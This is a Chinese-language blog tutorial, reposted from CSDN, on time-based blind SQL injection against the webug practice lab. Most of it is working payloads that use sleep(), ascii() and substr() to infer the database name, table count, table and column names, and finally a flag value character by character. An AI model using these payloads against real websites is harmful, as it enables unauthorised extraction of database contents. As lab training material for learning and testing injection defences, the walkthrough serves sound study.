延时注入介绍:对于基于时间的盲注,通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
探测sql注入
一、正常页面
1.加 ' 发现内容变了
2.加 ' and 1=1 %23 发现内容没变
3.加 ' and 1=2 %23 发现内容变了
4.发现注入点 且 并没有报错 不是显错注入
二、通过延时判断是否可以通过延时注入:
输入 输出
1' and if(length(database())>4,sleep(3),1) %23 延时3秒
1' and if(length(database())>10,sleep(3),1) %23 立即刷新
1' and if(length(database())>7,sleep(3),1) %23 立即刷新
1' and if(length(database())=5,sleep(3),1) %23 延时3秒
判断出来可以通过延时注入此注入点,并且数据库的长度为5
三、判断数据库名称:
1' and if(ascii(substr(database(),1,1))>88,sleep(3),1) %23 延时3秒
1' and if(ascii(substr(database(),1,1))>120,sleep(3),1) %23 立即刷新
... ...
1' and if(ascii(substr(database(),1,1))=119,sleep(3),1) %23 延时3秒
以此类推,发现第一个字母的ascii的值为119 查ascii表发现是w
然后改动substr第二个参数,发现数据库名为webug
四、判断数据库中表的数量:
1’ and if((select count(table_name) from information_schema.tables where table_schema=database())>6,sleep(5),1) # 延迟5秒
1’ and if((select count(table_name) from information_schema.tables where table_schema=database())=7,sleep(5),1) # 延迟5秒
1’ and if((select count(table_name) from information_schema.tables where table_schema=database())>7,sleep(5),1) # 没有延迟
五、接着猜解表名长度:
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟
…
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 延迟
说明第一个表名的长度为9个字符。
六、猜解表名
1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)))>97,sleep(5),1) #
七、由表名猜字段名
先猜字段数:
1’ and if((select count(column_name) from information_schema.columns where table_name= “flag”)=1,sleep(5),1) #
猜字段名
1’ and if((select ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1)))>97, sleep(5),0) #
八、用户名长
1’and if((select (length(substr((select flag from flag limit 0,1),1))=1) ,sleep(5),1) #
用户名
1’ and if(select ascii(substr((select flag from flag limit 0,1),1,1))>97,sleep(5),1) #
来源:CSDN
作者:Stephen Wolf
链接:https://blog.csdn.net/qq_45625605/article/details/103911540